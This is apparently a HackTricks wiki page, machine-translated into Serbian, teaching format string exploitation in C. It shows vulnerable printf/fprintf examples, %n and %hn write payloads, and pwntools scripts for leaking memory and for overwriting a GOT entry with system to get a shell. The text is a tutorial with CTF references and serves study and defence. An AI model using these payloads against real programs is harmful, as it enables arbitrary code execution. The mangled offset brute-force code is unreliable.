.. | ||
format-strings-arbitrary-read-example.md | ||
format-strings-template.md | ||
README.md |
Format Strings
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).
{% embed url="https://www.stmcyber.com/careers" %}
Basic Information
U C printf
je funkcija koja se može koristiti za štampanje nekog stringa. Prvi parametar koji ova funkcija očekuje je sirovi tekst sa formatima. Sledeći parametri koji se očekuju su vrednosti za zamenu formata iz sirovog teksta.
Druge ranjive funkcije su sprintf()
i fprintf()
.
Ranjivost se pojavljuje kada se tekst napadača koristi kao prvi argument ovoj funkciji. Napadač će moći da kreira poseban unos koji zloupotrebljava printf format string mogućnosti da pročita i zapiše bilo koje podatke na bilo kojoj adresi (čitljivo/zapisivo). Na ovaj način će moći da izvrši proizvoljan kod.
Formatters:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Primeri:
- Ranjivi primer:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Normalna upotreba:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Sa nedostajućim argumentima:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
- fprintf ranjiv:
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
Pristupanje Pokazivačima
Format %<n>$x
, gde je n
broj, omogućava da se printf-u naznači da izabere n-ti parametar (sa steka). Dakle, ako želite da pročitate 4. parametar sa steka koristeći printf, mogli biste to uraditi:
printf("%x %x %x %x")
и могли бисте читати од првог до четвртог параметра.
Или бисте могли да урадите:
printf("%4$x")
и директно прочитати четврту.
Обратите пажњу да нападач контролише printf
параметар, што у основи значи да ће његов унос бити у стеку када се позове printf
, што значи да може написати специфичне адресе у меморији у стеку.
{% hint style="danger" %}
Нападач који контролише овај унос, моћи ће да дода произвољну адресу у стек и натера printf
да им приступи. У следећем одељку биће објашњено како користити ово понашање.
{% endhint %}
Произвољно Читање
Могуће је користити форматор %n$s
да натера printf
да добије адресу која се налази на n позицији, следећи је и одштампати као да је то стринг (одштампај до 0x00). Дакле, ако је базна адреса бинарног фајла 0x8048000
, и знамо да кориснички унос почиње на 4. позицији у стеку, могуће је одштампати почетак бинарног фајла са:
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
{% hint style="danger" %} Napomena da ne možete staviti adresu 0x8048000 na početak ulaza jer će se string završiti sa 0x00 na kraju te adrese. {% endhint %}
Pronađi offset
Da biste pronašli offset do vašeg ulaza, možete poslati 4 ili 8 bajtova (0x41414141
) praćenih %1$x
i povećavati vrednost dok ne dobijete A's
.
Brute Force printf offset
```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leakfrom pwn import *
Iterate over a range of integers
for i in range(10):
Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
Start a new process of the "chall" binary
p = process("./chall")
Send the payload to the process
p.sendline(payload)
Read and store the output of the process
output = p.clean()
Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}") break
Close the process
p.close()
</details>
### Koliko je korisno
Arbitrarna čitanja mogu biti korisna za:
* **Ispis** **binarne** datoteke iz memorije
* **Pristup specifičnim delovima memorije gde je smeštena** **osetljiva** **informacija** (kao što su kanari, ključevi za enkripciju ili prilagođene lozinke kao u ovom [**CTF izazovu**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Arbitrarno pisanje**
Formatirnik **`%<num>$n`** **piše** **broj napisanih bajtova** u **naznačenu adresu** u \<num> parametru na steku. Ako napadač može da piše onoliko karaktera koliko želi sa printf, moći će da napravi da **`%<num>$n`** piše proizvoljan broj na proizvoljnu adresu.
Na sreću, da bi se napisao broj 9999, nije potrebno dodavati 9999 "A" u ulaz, da bi se to postiglo moguće je koristiti formatirnik **`%.<num-write>%<num>$n`** da bi se napisao broj **`<num-write>`** u **adresu na koju ukazuje `num` pozicija**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Međutim, imajte na umu da se obično za pisanje adrese kao što je 0x08049724
(što je OGROMAN broj za pisanje odjednom), koristi $hn
umesto $n
. Ovo omogućava da se napiše samo 2 Bajte. Stoga se ova operacija vrši dva puta, jednom za najviših 2B adrese i drugi put za najniže.
Stoga, ova ranjivost omogućava pisanje bilo čega na bilo kojoj adresi (arbitrarno pisanje).
U ovom primeru, cilj će biti da se prepiše adresa funkcije u GOT tabeli koja će biti pozvana kasnije. Iako bi ovo moglo zloupotrebiti druge tehnike arbitrarno pisanje za izvršavanje:
{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}
Mi ćemo prepisati funkciju koja prima svoje argumente od korisnika i usmeriti je na system
funkciju.
Kao što je pomenuto, za pisanje adrese obično su potrebna 2 koraka: Prvo napišete 2Bajta adrese, a zatim ostala 2. Da biste to uradili, koristi se $hn
.
- HOB se poziva na 2 viša bajta adrese
- LOB se poziva na 2 niža bajta adrese
Zatim, zbog načina na koji funkcioniše format string, morate prvo napisati manji od [HOB, LOB] i zatim drugi.
Ako je HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
Ako je HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
{% code overflow="wrap" %}
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
{% endcode %}
Pwntools Šablon
Možete pronaći šablon za pripremu eksploita za ovu vrstu ranjivosti u:
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
Ili ovaj osnovni primer iz ovde:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Format Strings to BOF
Moguće je zloupotrebiti akcije pisanja ranjivosti format string-a da se piše u adrese steka i iskoristi ranjivost tipa buffer overflow.
Other Examples & References
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bita, bez relro, bez kanarija, nx, bez pie, osnovna upotreba format string-a za leak flag-a iz steka (nije potrebno menjati tok izvršenja)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bita, relro, bez kanarija, nx, bez pie, format string za prepisivanje adrese
fflush
sa win funkcijom (ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bita, relro, bez kanarija, nx, bez pie, format string za pisanje adrese unutar main u
.fini_array
(tako da se tok vraća još jednom) i pisanje adrese zasystem
u GOT tabeli koja pokazuje nastrlen
. Kada se tok vrati u main,strlen
se izvršava sa korisničkim unosom i pokazuje nasystem
, izvršiće prosleđene komande.
Ako ste zainteresovani za hacking karijeru i da hakujete nehakovano - zapošljavamo! (potrebno je tečno pisanje i govorenje poljskog).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos. {% endhint %}